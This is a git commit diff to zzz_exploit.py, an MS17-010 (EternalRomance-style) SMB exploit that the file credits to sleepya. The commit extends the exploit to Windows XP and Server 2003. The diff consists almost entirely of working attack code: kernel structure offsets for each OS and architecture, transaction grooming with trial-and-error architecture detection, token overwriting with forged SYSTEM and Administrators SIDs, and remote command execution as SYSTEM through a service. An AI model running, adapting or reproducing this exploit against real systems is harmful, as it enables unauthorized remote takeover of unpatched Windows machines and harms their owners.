add support target XP/2003
This commit is contained in:
290
zzz_exploit.py
290
zzz_exploit.py
@@ -7,7 +7,7 @@ import socket
|
|||||||
import time
|
import time
|
||||||
|
|
||||||
'''
|
'''
|
||||||
MS17-010 exploit for Windows 7+ by sleepya
|
MS17-010 exploit for Windows XP and later by sleepya
|
||||||
|
|
||||||
Note:
|
Note:
|
||||||
- The exploit should never crash a target (chance should be nearly 0%)
|
- The exploit should never crash a target (chance should be nearly 0%)
|
||||||
@@ -20,9 +20,13 @@ Tested on:
|
|||||||
- Windows 2008 R2 SP1 x64
|
- Windows 2008 R2 SP1 x64
|
||||||
- Windows 7 SP1 x64
|
- Windows 7 SP1 x64
|
||||||
- Windows 2008 SP1 x64
|
- Windows 2008 SP1 x64
|
||||||
|
- Windows 2003 R2 SP2 x64
|
||||||
|
- Windows XP SP2 x64
|
||||||
- Windows 8.1 x86
|
- Windows 8.1 x86
|
||||||
- Windows 7 SP1 x86
|
- Windows 7 SP1 x86
|
||||||
- Windows 2008 SP1 x86
|
- Windows 2008 SP1 x86
|
||||||
|
- Windows 2003 SP2 x86
|
||||||
|
- Windows XP SP3 x86
|
||||||
'''
|
'''
|
||||||
|
|
||||||
USERNAME = ''
|
USERNAME = ''
|
||||||
@@ -89,14 +93,17 @@ If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running
|
|||||||
to do all SMB operations.
|
to do all SMB operations.
|
||||||
Note: fake Token might be possible, but NULL token is much easier.
|
Note: fake Token might be possible, but NULL token is much easier.
|
||||||
'''
|
'''
|
||||||
WIN7_64_INFO = {
|
###########################
|
||||||
|
# info for modify session security context
|
||||||
|
###########################
|
||||||
|
WIN7_64_SESSION_INFO = {
|
||||||
'SESSION_SECCTX_OFFSET': 0xa0,
|
'SESSION_SECCTX_OFFSET': 0xa0,
|
||||||
'SESSION_ISNULL_OFFSET': 0xba,
|
'SESSION_ISNULL_OFFSET': 0xba,
|
||||||
'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
|
'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
|
||||||
'SECCTX_SIZE': 0x28,
|
'SECCTX_SIZE': 0x28,
|
||||||
}
|
}
|
||||||
|
|
||||||
WIN7_32_INFO = {
|
WIN7_32_SESSION_INFO = {
|
||||||
'SESSION_SECCTX_OFFSET': 0x80,
|
'SESSION_SECCTX_OFFSET': 0x80,
|
||||||
'SESSION_ISNULL_OFFSET': 0x96,
|
'SESSION_ISNULL_OFFSET': 0x96,
|
||||||
'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),
|
'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),
|
||||||
@@ -104,39 +111,53 @@ WIN7_32_INFO = {
|
|||||||
}
|
}
|
||||||
|
|
||||||
# win8+ info
|
# win8+ info
|
||||||
WIN8_64_INFO = {
|
WIN8_64_SESSION_INFO = {
|
||||||
'SESSION_SECCTX_OFFSET': 0xb0,
|
'SESSION_SECCTX_OFFSET': 0xb0,
|
||||||
'SESSION_ISNULL_OFFSET': 0xca,
|
'SESSION_ISNULL_OFFSET': 0xca,
|
||||||
'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
|
'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
|
||||||
'SECCTX_SIZE': 0x38,
|
'SECCTX_SIZE': 0x38,
|
||||||
}
|
}
|
||||||
|
|
||||||
WIN8_32_INFO = {
|
WIN8_32_SESSION_INFO = {
|
||||||
'SESSION_SECCTX_OFFSET': 0x88,
|
'SESSION_SECCTX_OFFSET': 0x88,
|
||||||
'SESSION_ISNULL_OFFSET': 0x9e,
|
'SESSION_ISNULL_OFFSET': 0x9e,
|
||||||
'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),
|
'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),
|
||||||
'SECCTX_SIZE': 0x24,
|
'SECCTX_SIZE': 0x24,
|
||||||
}
|
}
|
||||||
|
|
||||||
OS_ARCH_INFO = {
|
# win 2003 (xp 64 bit is win 2003)
|
||||||
# for Windows Vista, 2008, 7 and 2008 R2
|
WIN2K3_64_SESSION_INFO = {
|
||||||
'WIN7': {
|
'SESSION_ISNULL_OFFSET': 0xba,
|
||||||
'x86': WIN7_32_INFO,
|
'SESSION_SECCTX_OFFSET': 0xa0, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
|
||||||
'x64': WIN7_64_INFO,
|
'SECCTX_PCTXTHANDLE_OFFSET': 0x10, # PCtxtHandle is at offset 0x8 but only upperPart is needed
|
||||||
},
|
'PCTXTHANDLE_TOKEN_OFFSET': 0x40,
|
||||||
# for Windows 8 and later
|
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
|
||||||
'WIN8': {
|
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
|
||||||
'x86': WIN8_32_INFO,
|
|
||||||
'x64': WIN8_64_INFO,
|
|
||||||
},
|
|
||||||
}
|
}
|
||||||
|
|
||||||
X86_INFO = {
|
WIN2K3_32_SESSION_INFO = {
|
||||||
'PTR_SIZE' : 4,
|
'SESSION_ISNULL_OFFSET': 0x96,
|
||||||
'PTR_FMT' : 'I',
|
'SESSION_SECCTX_OFFSET': 0x80, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
|
||||||
'FRAG_TAG_OFFSET' : 12,
|
'SECCTX_PCTXTHANDLE_OFFSET': 0xc, # PCtxtHandle is at offset 0x8 but only upperPart is needed
|
||||||
'POOL_ALIGN' : 8,
|
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
|
||||||
'SRV_BUFHDR_SIZE' : 8,
|
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
|
||||||
|
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
|
||||||
|
}
|
||||||
|
|
||||||
|
# win xp
|
||||||
|
WINXP_32_SESSION_INFO = {
|
||||||
|
'SESSION_ISNULL_OFFSET': 0x94,
|
||||||
|
'SESSION_SECCTX_OFFSET': 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
|
||||||
|
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
|
||||||
|
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
|
||||||
|
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
|
||||||
|
}
|
||||||
|
|
||||||
|
###########################
|
||||||
|
# info for exploitation
|
||||||
|
###########################
|
||||||
|
# for windows 2008+
|
||||||
|
WIN7_32_TRANS_INFO = {
|
||||||
'TRANS_SIZE' : 0xa0, # struct size
|
'TRANS_SIZE' : 0xa0, # struct size
|
||||||
'TRANS_FLINK_OFFSET' : 0x18,
|
'TRANS_FLINK_OFFSET' : 0x18,
|
||||||
'TRANS_INPARAM_OFFSET' : 0x40,
|
'TRANS_INPARAM_OFFSET' : 0x40,
|
||||||
@@ -149,12 +170,7 @@ X86_INFO = {
|
|||||||
'TRANS_MID_OFFSET' : 0x80,
|
'TRANS_MID_OFFSET' : 0x80,
|
||||||
}
|
}
|
||||||
|
|
||||||
X64_INFO = {
|
WIN7_64_TRANS_INFO = {
|
||||||
'PTR_SIZE' : 8,
|
|
||||||
'PTR_FMT' : 'Q',
|
|
||||||
'FRAG_TAG_OFFSET' : 0x14,
|
|
||||||
'POOL_ALIGN' : 0x10,
|
|
||||||
'SRV_BUFHDR_SIZE' : 0x10,
|
|
||||||
'TRANS_SIZE' : 0xf8, # struct size
|
'TRANS_SIZE' : 0xf8, # struct size
|
||||||
'TRANS_FLINK_OFFSET' : 0x28,
|
'TRANS_FLINK_OFFSET' : 0x28,
|
||||||
'TRANS_INPARAM_OFFSET' : 0x70,
|
'TRANS_INPARAM_OFFSET' : 0x70,
|
||||||
@@ -167,6 +183,80 @@ X64_INFO = {
|
|||||||
'TRANS_MID_OFFSET' : 0xc0,
|
'TRANS_MID_OFFSET' : 0xc0,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
WIN5_32_TRANS_INFO = {
|
||||||
|
'TRANS_SIZE' : 0x98, # struct size
|
||||||
|
'TRANS_FLINK_OFFSET' : 0x18,
|
||||||
|
'TRANS_INPARAM_OFFSET' : 0x3c,
|
||||||
|
'TRANS_OUTPARAM_OFFSET' : 0x40,
|
||||||
|
'TRANS_INDATA_OFFSET' : 0x44,
|
||||||
|
'TRANS_OUTDATA_OFFSET' : 0x48,
|
||||||
|
'TRANS_PARAMCNT_OFFSET' : 0x54,
|
||||||
|
'TRANS_TOTALPARAMCNT_OFFSET' : 0x58,
|
||||||
|
'TRANS_FUNCTION_OFFSET' : 0x6e,
|
||||||
|
'TRANS_PID_OFFSET' : 0x78,
|
||||||
|
'TRANS_MID_OFFSET' : 0x7c,
|
||||||
|
}
|
||||||
|
|
||||||
|
WIN5_64_TRANS_INFO = {
|
||||||
|
'TRANS_SIZE' : 0xe0, # struct size
|
||||||
|
'TRANS_FLINK_OFFSET' : 0x28,
|
||||||
|
'TRANS_INPARAM_OFFSET' : 0x68,
|
||||||
|
'TRANS_OUTPARAM_OFFSET' : 0x70,
|
||||||
|
'TRANS_INDATA_OFFSET' : 0x78,
|
||||||
|
'TRANS_OUTDATA_OFFSET' : 0x80,
|
||||||
|
'TRANS_PARAMCNT_OFFSET' : 0x90,
|
||||||
|
'TRANS_TOTALPARAMCNT_OFFSET' : 0x94,
|
||||||
|
'TRANS_FUNCTION_OFFSET' : 0xaa,
|
||||||
|
'TRANS_PID_OFFSET' : 0xb4,
|
||||||
|
'TRANS_MID_OFFSET' : 0xb8,
|
||||||
|
}
|
||||||
|
|
||||||
|
X86_INFO = {
|
||||||
|
'ARCH' : 'x86',
|
||||||
|
'PTR_SIZE' : 4,
|
||||||
|
'PTR_FMT' : 'I',
|
||||||
|
'FRAG_TAG_OFFSET' : 12,
|
||||||
|
'POOL_ALIGN' : 8,
|
||||||
|
'SRV_BUFHDR_SIZE' : 8,
|
||||||
|
}
|
||||||
|
|
||||||
|
X64_INFO = {
|
||||||
|
'ARCH' : 'x64',
|
||||||
|
'PTR_SIZE' : 8,
|
||||||
|
'PTR_FMT' : 'Q',
|
||||||
|
'FRAG_TAG_OFFSET' : 0x14,
|
||||||
|
'POOL_ALIGN' : 0x10,
|
||||||
|
'SRV_BUFHDR_SIZE' : 0x10,
|
||||||
|
}
|
||||||
|
|
||||||
|
def merge_dicts(*dict_args):
|
||||||
|
result = {}
|
||||||
|
for dictionary in dict_args:
|
||||||
|
result.update(dictionary)
|
||||||
|
return result
|
||||||
|
|
||||||
|
OS_ARCH_INFO = {
|
||||||
|
# for Windows Vista, 2008, 7 and 2008 R2
|
||||||
|
'WIN7': {
|
||||||
|
'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN7_32_SESSION_INFO),
|
||||||
|
'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN7_64_SESSION_INFO),
|
||||||
|
},
|
||||||
|
# for Windows 8 and later
|
||||||
|
'WIN8': {
|
||||||
|
'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN8_32_SESSION_INFO),
|
||||||
|
'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN8_64_SESSION_INFO),
|
||||||
|
},
|
||||||
|
'WINXP': {
|
||||||
|
'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WINXP_32_SESSION_INFO),
|
||||||
|
'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
|
||||||
|
},
|
||||||
|
'WIN2K3': {
|
||||||
|
'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K3_32_SESSION_INFO),
|
||||||
|
'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
TRANS_NAME_LEN = 4
|
TRANS_NAME_LEN = 4
|
||||||
HEAP_HDR_SIZE = 8 # heap chunk header size
|
HEAP_HDR_SIZE = 8 # heap chunk header size
|
||||||
|
|
||||||
@@ -215,22 +305,20 @@ def leak_frag_size(conn, tid, fid):
|
|||||||
conn.send_raw(req1[-8:]+req2)
|
conn.send_raw(req1[-8:]+req2)
|
||||||
leakData = conn.recv_transaction_data(mid, 0x10d0+276)
|
leakData = conn.recv_transaction_data(mid, 0x10d0+276)
|
||||||
leakData = leakData[0x10d4:] # skip parameters and its own input
|
leakData = leakData[0x10d4:] # skip parameters and its own input
|
||||||
|
# Detect target architecture and calculate frag pool size
|
||||||
if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
|
if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
|
||||||
print('Target is 32 bit')
|
print('Target is 32 bit')
|
||||||
info.update(X86_INFO)
|
|
||||||
info['arch'] = 'x86'
|
info['arch'] = 'x86'
|
||||||
|
info['FRAG_POOL_SIZE'] = ord(leakData[ X86_INFO['FRAG_TAG_OFFSET']-2 ]) * X86_INFO['POOL_ALIGN']
|
||||||
elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
|
elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
|
||||||
print('Target is 64 bit')
|
print('Target is 64 bit')
|
||||||
info.update(X64_INFO)
|
|
||||||
info['arch'] = 'x64'
|
info['arch'] = 'x64'
|
||||||
|
info['FRAG_POOL_SIZE'] = ord(leakData[ X64_INFO['FRAG_TAG_OFFSET']-2 ]) * X64_INFO['POOL_ALIGN']
|
||||||
else:
|
else:
|
||||||
print('Not found Frag pool tag in leak data')
|
print('Not found Frag pool tag in leak data')
|
||||||
sys.exit()
|
sys.exit()
|
||||||
|
|
||||||
# Calculate frag pool size
|
|
||||||
info['FRAG_POOL_SIZE'] = ord(leakData[ info['FRAG_TAG_OFFSET']-2 ]) * info['POOL_ALIGN']
|
|
||||||
print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
|
print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
|
||||||
|
|
||||||
return info
|
return info
|
||||||
|
|
||||||
|
|
||||||
@@ -463,17 +551,18 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
|||||||
fid = conn.nt_create_andx(tid, pipe_name)
|
fid = conn.nt_create_andx(tid, pipe_name)
|
||||||
info['fid'] = fid
|
info['fid'] = fid
|
||||||
|
|
||||||
if info['os'] == 'WIN7':
|
if info['os'] == 'WIN7' and 'arch' not in info:
|
||||||
# leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
|
# leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
|
||||||
info.update(leak_frag_size(conn, tid, fid))
|
info.update(leak_frag_size(conn, tid, fid))
|
||||||
|
|
||||||
if 'arch' in info:
|
if 'arch' in info:
|
||||||
# add os and arch specific exploit info
|
# add os and arch specific exploit info
|
||||||
info.update(OS_ARCH_INFO[info['os']][info['arch']])
|
info.update(OS_ARCH_INFO[info['os']][info['arch']])
|
||||||
|
attempt_list = [ OS_ARCH_INFO[info['os']][info['arch']] ]
|
||||||
else:
|
else:
|
||||||
# TODO: do not know target architecture (now assume architecture is known)
|
# do not know target architecture
|
||||||
# this case is only for Windows 2003
|
# this case is only for Windows 2003
|
||||||
return False
|
attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ]
|
||||||
|
|
||||||
# ================================
|
# ================================
|
||||||
# groom packets
|
# groom packets
|
||||||
@@ -497,23 +586,36 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
|||||||
# ================================
|
# ================================
|
||||||
# POOL_ALIGN value is same as heap alignment value
|
# POOL_ALIGN value is same as heap alignment value
|
||||||
# TODO: try offset of 64 bit then 32 bit when no target architecture
|
# TODO: try offset of 64 bit then 32 bit when no target architecture
|
||||||
HEAP_CHUNK_PAD_SIZE = (info['POOL_ALIGN'] - (info['TRANS_SIZE']+HEAP_HDR_SIZE) % info['POOL_ALIGN']) % info['POOL_ALIGN']
|
success = False
|
||||||
NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
|
for tinfo in attempt_list:
|
||||||
|
print('attempt controlling next transaction on ' + tinfo['ARCH'])
|
||||||
|
HEAP_CHUNK_PAD_SIZE = (tinfo['POOL_ALIGN'] - (tinfo['TRANS_SIZE']+HEAP_HDR_SIZE) % tinfo['POOL_ALIGN']) % tinfo['POOL_ALIGN']
|
||||||
|
NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
|
||||||
|
|
||||||
# Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
|
# Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
|
||||||
conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_MID_OFFSET'])
|
conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
|
||||||
wait_for_request_processed(conn)
|
wait_for_request_processed(conn)
|
||||||
|
|
||||||
# if the overwritten is correct, a modified transaction mid should be special_mid now.
|
# if the overwritten is correct, a modified transaction mid should be special_mid now.
|
||||||
# a new transaction with special_mid should be error.
|
# a new transaction with special_mid should be error.
|
||||||
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
|
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
|
||||||
if recvPkt.getNTStatus() != 0x10002: # invalid SMB
|
if recvPkt.getNTStatus() == 0x10002: # invalid SMB
|
||||||
|
print('success controlling one transaction')
|
||||||
|
success = True
|
||||||
|
if 'arch' not in info:
|
||||||
|
print('Target is '+tinfo['ARCH'])
|
||||||
|
info['arch'] = tinfo['ARCH']
|
||||||
|
info.update(OS_ARCH_INFO[info['os']][info['arch']])
|
||||||
|
break
|
||||||
|
if recvPkt.getNTStatus() != 0:
|
||||||
|
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
|
||||||
|
|
||||||
|
if not success:
|
||||||
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
|
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
|
||||||
print('!!! Write to wrong place !!!')
|
print('!!! Write to wrong place !!!')
|
||||||
print('the target might be crashed')
|
print('the target might be crashed')
|
||||||
return False
|
return False
|
||||||
|
|
||||||
print('success controlling one transaction')
|
|
||||||
|
|
||||||
# NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.
|
# NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.
|
||||||
# This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
|
# This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
|
||||||
@@ -604,6 +706,34 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
|||||||
})
|
})
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr):
|
||||||
|
SID_SYSTEM = pack('<BB5xB'+'I', 1, 1, 5, 18)
|
||||||
|
SID_ADMINISTRATORS = pack('<BB5xB'+'II', 1, 2, 5, 32, 544)
|
||||||
|
SID_AUTHENICATED_USERS = pack('<BB5xB'+'I', 1, 1, 5, 11)
|
||||||
|
SID_EVERYONE = pack('<BB5xB'+'I', 1, 1, 1, 0)
|
||||||
|
# SID_SYSTEM and SID_ADMINISTRATORS must be added
|
||||||
|
sids = [ SID_SYSTEM, SID_ADMINISTRATORS, SID_EVERYONE, SID_AUTHENICATED_USERS ]
|
||||||
|
# - user has no attribute (0)
|
||||||
|
# - 0xe: SE_GROUP_OWNER | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT
|
||||||
|
# - 0x7: SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY
|
||||||
|
attrs = [ 0, 0xe, 7, 7 ]
|
||||||
|
|
||||||
|
# assume its space is enough for SID_SYSTEM and SID_ADMINISTRATORS (no check)
|
||||||
|
# fake user and groups will be in same buffer of original one
|
||||||
|
# so fake sids size must NOT be bigger than the original sids
|
||||||
|
fakeUserAndGroupCount = min(userAndGroupCount, 4)
|
||||||
|
fakeUserAndGroupsAddr = userAndGroupsAddr
|
||||||
|
|
||||||
|
addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * info['PTR_SIZE'] * 2)
|
||||||
|
fakeUserAndGroups = ''
|
||||||
|
for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
|
||||||
|
fakeUserAndGroups += pack('<'+info['PTR_FMT']*2, addr, attr)
|
||||||
|
addr += len(sid)
|
||||||
|
fakeUserAndGroups += ''.join(sids[:fakeUserAndGroupCount])
|
||||||
|
|
||||||
|
return fakeUserAndGroupCount, fakeUserAndGroups
|
||||||
|
|
||||||
|
|
||||||
def exploit(target, pipe_name):
|
def exploit(target, pipe_name):
|
||||||
conn = MYSMB(target)
|
conn = MYSMB(target)
|
||||||
|
|
||||||
@@ -624,6 +754,17 @@ def exploit(target, pipe_name):
|
|||||||
elif server_os.startswith("Windows Server (R) 2008"):
|
elif server_os.startswith("Windows Server (R) 2008"):
|
||||||
info['os'] = 'WIN7'
|
info['os'] = 'WIN7'
|
||||||
info['method'] = exploit_fish_barrel
|
info['method'] = exploit_fish_barrel
|
||||||
|
elif server_os.startswith("Windows Server 2003 "):
|
||||||
|
info['os'] = 'WIN2K3'
|
||||||
|
info['method'] = exploit_fish_barrel
|
||||||
|
elif server_os.startswith("Windows 5.1"):
|
||||||
|
info['os'] = 'WINXP'
|
||||||
|
info['arch'] = 'x86'
|
||||||
|
info['method'] = exploit_fish_barrel
|
||||||
|
elif server_os.startswith("Windows XP "):
|
||||||
|
info['os'] = 'WINXP'
|
||||||
|
info['arch'] = 'x64'
|
||||||
|
info['method'] = exploit_fish_barrel
|
||||||
else:
|
else:
|
||||||
print('This exploit does not support this target')
|
print('This exploit does not support this target')
|
||||||
sys.exit()
|
sys.exit()
|
||||||
@@ -647,23 +788,58 @@ def exploit(target, pipe_name):
|
|||||||
sessionData = read_data(conn, info, info['session'], 0x100)
|
sessionData = read_data(conn, info, info['session'], 0x100)
|
||||||
secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
|
secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
|
||||||
|
|
||||||
# copy SecurityContext for restoration
|
if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
|
||||||
secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])
|
# the target has only PCtxtHandle for impersonation (Windows 2003 and earlier)
|
||||||
|
# find the token and modify it
|
||||||
|
if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
|
||||||
|
pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
|
||||||
|
pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0]
|
||||||
|
else:
|
||||||
|
pctxtDataAddr = secCtxAddr
|
||||||
|
|
||||||
print('overwriting session security context')
|
tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
|
||||||
# see FAKE_SECCTX detail at top of the file
|
tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
|
||||||
write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])
|
print('current TOKEN addr: 0x{:x}'.format(tokenAddr))
|
||||||
|
|
||||||
|
# copy Token data for restoration
|
||||||
|
tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
|
||||||
|
|
||||||
|
userAndGroupCount = unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0]
|
||||||
|
userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
|
||||||
|
print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
|
||||||
|
print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
|
||||||
|
|
||||||
|
print('overwriting token UserAndGroups')
|
||||||
|
# modify UserAndGroups info
|
||||||
|
fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
|
||||||
|
if fakeUserAndGroupCount != userAndGroupCount:
|
||||||
|
write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', fakeUserAndGroupCount))
|
||||||
|
write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
|
||||||
|
else:
|
||||||
|
# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
|
||||||
|
# copy SecurityContext for restoration
|
||||||
|
secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])
|
||||||
|
|
||||||
|
print('overwriting session security context')
|
||||||
|
# see FAKE_SECCTX detail at top of the file
|
||||||
|
write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])
|
||||||
|
|
||||||
# ================================
|
# ================================
|
||||||
# do whatever we want as SYSTEM over this SMB connection
|
# do whatever we want as SYSTEM over this SMB connection
|
||||||
# ================================
|
# ================================
|
||||||
try:
|
try:
|
||||||
smb_pwn(conn)
|
smb_pwn(conn, info['arch'])
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
# restore SecurityContext. If the exploit does not use null session, PCtxtHandle will be leaked.
|
# restore SecurityContext/Token
|
||||||
write_data(conn, info, secCtxAddr, secCtxData)
|
if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
|
||||||
|
userAndGroupsOffset = userAndGroupsAddr - tokenAddr
|
||||||
|
write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)])
|
||||||
|
if fakeUserAndGroupCount != userAndGroupCount:
|
||||||
|
write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', userAndGroupCount))
|
||||||
|
else:
|
||||||
|
write_data(conn, info, secCtxAddr, secCtxData)
|
||||||
|
|
||||||
conn.disconnect_tree(conn.get_tid())
|
conn.disconnect_tree(conn.get_tid())
|
||||||
conn.logoff()
|
conn.logoff()
|
||||||
@@ -671,7 +847,7 @@ def exploit(target, pipe_name):
|
|||||||
return True
|
return True
|
||||||
|
|
||||||
|
|
||||||
def smb_pwn(conn):
|
def smb_pwn(conn, arch):
|
||||||
smbConn = conn.get_smbconnection()
|
smbConn = conn.get_smbconnection()
|
||||||
|
|
||||||
print('creating file c:\\pwned.txt on the target')
|
print('creating file c:\\pwned.txt on the target')
|
||||||
@@ -727,8 +903,8 @@ def service_exec(conn, cmd):
|
|||||||
scmr.hRStartServiceW(rpcsvc, serviceHandle)
|
scmr.hRStartServiceW(rpcsvc, serviceHandle)
|
||||||
# is it really need to stop?
|
# is it really need to stop?
|
||||||
# using command line always makes starting service fail because SetServiceStatus() does not get called
|
# using command line always makes starting service fail because SetServiceStatus() does not get called
|
||||||
print('Stoping service %s.....' % service_name)
|
#print('Stoping service %s.....' % service_name)
|
||||||
scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
|
#scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
|
||||||
except Exception, e:
|
except Exception, e:
|
||||||
print(str(e))
|
print(str(e))
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user